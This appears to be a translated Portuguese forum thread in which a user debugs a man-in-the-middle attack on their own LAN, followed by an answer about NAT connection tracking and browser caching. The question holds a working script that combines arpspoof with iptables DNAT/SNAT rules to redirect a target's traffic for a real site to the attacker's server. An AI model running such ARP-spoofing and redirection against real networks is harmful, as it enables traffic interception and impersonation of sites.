Iptables às vezes não funcionam como eu acho que deveriam

0

Estou tentando fazer um ataque man-in-the-middle em minha rede local e estou tentando substituir o servidor navigationshilfe1.t-online.de por meu próprio servidor. Mais tarde, quero substituir um serviço personalizado em vez de um serviço http. Meus scripts atuais se parecem com:

sysctl -w net.ipv4.ip_forward=1

export TARGET=192.168.2.104
export ATTACKER=192.168.2.115
export GATEWAY=192.168.2.1
export SITE=62.138.238.45 #  navigationshilfe1.t-online.de

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -d $SITE -j DNAT --to-destination $ATTACKER:80
iptables -t nat -A POSTROUTING -p tcp -s $ATTACKER --source-port 80 -j SNAT --to-source $SITE:80

iptables -t nat -L -n -v

arpspoof -i eth0 -c both -t $TARGET -r $GATEWAY

O problema é que, às vezes, o navegador da Web do destino está mostrando o site real e, se eu atualizar a página algumas vezes, ela mostra a falsa e vice-versa. Alguém sabe por que ou a conexão é ruim?

    
por mohe2015 17.09.2017 / 20:40

1 resposta

0

Existem algumas possibilidades

Observe que as regras nat do iptables só funcionam no primeiro pacote de uma conexão. Depois que uma conexão é estabelecida, as tabelas de mapeamento internas são usadas.

Os navegadores reutilizam as conexões para economizar a sobrecarga da configuração da conexão. Portanto, se o seu navegador ainda tiver conexões abertas antes de você adicionar as solicitações de regras nessas conexões, elas não serão desviadas.

Outra possibilidade é que você está vendo os efeitos do armazenamento em cache no navegador. Os navegadores normalmente farão um "get condicional", que só fará o download novamente da página se os timestamps indicarem que ela foi alterada desde a última vez que o cliente fez o download.

    
por 17.09.2017 / 21:00